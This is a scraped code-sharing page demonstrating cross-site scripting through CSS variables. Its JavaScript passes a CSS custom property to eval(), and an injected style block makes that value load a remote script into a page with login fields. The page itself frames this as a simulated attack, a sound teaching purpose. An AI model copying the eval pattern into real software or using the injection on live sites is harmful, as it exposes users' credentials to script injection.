In this example below you will see how to do a CSS and XSS with some HTML / CSS and Javascript

CSS variables allow us to interact between CSS and JavaScript. This opens a security issue. If you decide to eval the value of a CSS variable you are basically inviting atackers for a party.

This awesome code was written by , you can see more from this user in the personal repository.
You can find the original code on Codepen.io
Copyright ⁣ ©


  • HTML
  • CSS
  • JavaScript
<!DOCTYPE html>
<html lang="en" >

  <meta charset="UTF-8">
  <title>CSS and XSS</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css">

  <link rel='stylesheet prefetch' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0-alpha.6/css/bootstrap.min.css'>

      <link rel="stylesheet" href="css/style.css">



  <h1>XSS via CSS variables</h1>
  <p>This example simulates an attack. In some way css was loaded from a harmful source. This example loads a snippet from another pen. Loading a CSS file could do the same thing. To disable the hack simply comment or delete the last row in the "HTML/Pug" code.</p>
  <div class="form">
      <div class="form-group row">
        <label class="col-2 col-form-label" for="username-input">Username</label>
        <div class="col-10">
          <input class="form-control" type="text" id="username-input" name="username" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <div class="form-group row">
        <label class="col-2 col-form-label" for="password-input">Password</label>
        <div class="col-10">
          <input class="form-control" type="password" id="password-input" name="password" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <div class="form-group row">
        <button class="btn btn-primary" type="submit">Submit</button>
  <h3>Look someone made some squares with CSS variables</h3>
  <div class="square">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Voluptas temporibus aliquid voluptatum aspernatur ipsam tenetur accusamus possimus ad fuga nesciunt iste laborum, rem ea nam, soluta quo ullam. Officiis, vitae.</div>
  <div class="square">consectetur adipisicing elit.</div>
  <div class="square">dolor sit amet, consectetur</div>
<div class="injectedByVeryBadPeople"><style>
.square {
  --setHeight: (function() {
    var script = document.createElement('script');
    script.src = '//codepen.io/pixelass/pen/5c6051cd0fd99b5dad80fb341295f224.js';
  })() !important;

    <script  src="js/index.js"></script>



/*Downloaded from https://www.codeseek.co/pixelass/css-and-xss-VpwrpV */
body {
  background: #666;
  color: #fff;

main {
  max-width: 800px;
  margin: auto;

.form {
  padding: 24px;
  background: #fff;
  color: #333;

.square {
  /* This JavaScript snippet will be called on every resize 
   *  it will set the --width property for further usage
  --setHeight: el.style.setProperty('--width', el.offsetWidth);
  display: inline-block;
  box-sizing: border-box;
  background: rgba(255, 0, 0, 0.3);
  padding: 1em;
  margin: 1em;
  min-height: calc(var(--width) * 1px);

/*Downloaded from https://www.codeseek.co/pixelass/css-and-xss-VpwrpV */
var _this = this;

Array.from(document.querySelectorAll('.square')).forEach(function (container) {
  var fn = getComputedStyle(container).getPropertyValue('--setHeight');
  var setHeight = function setHeight(el) {
    return eval(fn);
  window.addEventListener('resize', setHeight.bind(_this, container));